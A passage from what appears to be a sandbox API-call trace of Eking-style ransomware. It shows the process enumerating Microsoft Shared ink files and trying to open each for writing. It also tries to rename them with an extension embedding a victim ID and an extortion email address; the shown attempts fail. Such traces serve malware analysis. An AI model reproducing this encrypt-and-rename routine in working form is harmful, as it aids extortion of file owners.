shared\\ink\\fsdefinitions\\oskpred.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.406] SetEvent (hEvent=0xe0) returned 1 [0268.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.408] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=749) returned 1 [0268.408] CloseHandle (hObject=0x100) returned 1 [0268.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0268.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0268.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.409] SetEvent (hEvent=0xe0) returned 1 [0268.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.410] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=749) returned 1 [0268.410] CloseHandle (hObject=0x100) returned 1 [0268.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0268.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0268.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.411] SetEvent (hEvent=0xe0) returned 1 [0268.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.412] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2764) returned 1 [0268.412] CloseHandle (hObject=0x100) returned 1 [0268.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0268.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0268.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.413] SetEvent (hEvent=0xe0) returned 1 [0268.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.415] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=591) returned 1 [0268.415] CloseHandle (hObject=0x100) returned 1 [0268.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0268.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0268.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.416] SetEvent (hEvent=0xe0) returned 1 [0268.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.418] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1166) returned 1 [0268.418] CloseHandle (hObject=0x100) returned 1 [0268.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0268.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0268.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.418] SetEvent (hEvent=0xe0) returned 1 [0268.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.641] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=207) returned 1 [0268.641] CloseHandle (hObject=0x100) returned 1 [0268.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0268.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0268.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.642] SetEvent (hEvent=0xe0) returned 1 [0268.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.643] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.643] CloseHandle (hObject=0x100) returned 1 [0268.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0268.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0268.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.643] SetEvent (hEvent=0xe0) returned 1 [0268.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.645] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.645] CloseHandle (hObject=0x100) returned 1 [0268.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0268.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0268.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.646] SetEvent (hEvent=0xe0) returned 1 [0268.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.647] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.647] CloseHandle (hObject=0x100) returned 1 [0268.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0268.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0268.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.647] SetEvent (hEvent=0xe0) returned 1 [0268.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.650] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=46624) returned 1 [0268.650] CloseHandle (hObject=0x100) returned 1 [0268.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0268.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0268.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.651] SetEvent (hEvent=0xe0) returned 1 [0268.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.652] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=747280) returned 1 [0268.652] CloseHandle (hObject=0x100) returned 1 [0268.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0268.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0268.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.652] SetEvent (hEvent=0xe0) returned 1 [0268.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.654] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=815680) returned 1 [0268.654] CloseHandle (hObject=0x100) returned 1 [0268.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0268.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0268.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.654] SetEvent (hEvent=0xe0) returned 1 [0268.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.655] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1100368) returned 1 [0268.655] CloseHandle (hObject=0x100) returned 1 [0268.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0268.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0268.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.656] SetEvent (hEvent=0xe0) returned 1 [0268.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.657] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3053984) returned 1 [0268.657] CloseHandle (hObject=0x100) returned 1 [0268.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0268.658] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.658] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0 [0268.658] SetEvent (hEvent=0xe0) returned 1 [0268.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.659] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2227968) returned 1 [0268.659] CloseHandle (hObject=0x100) returned 1 [0268.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0268.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 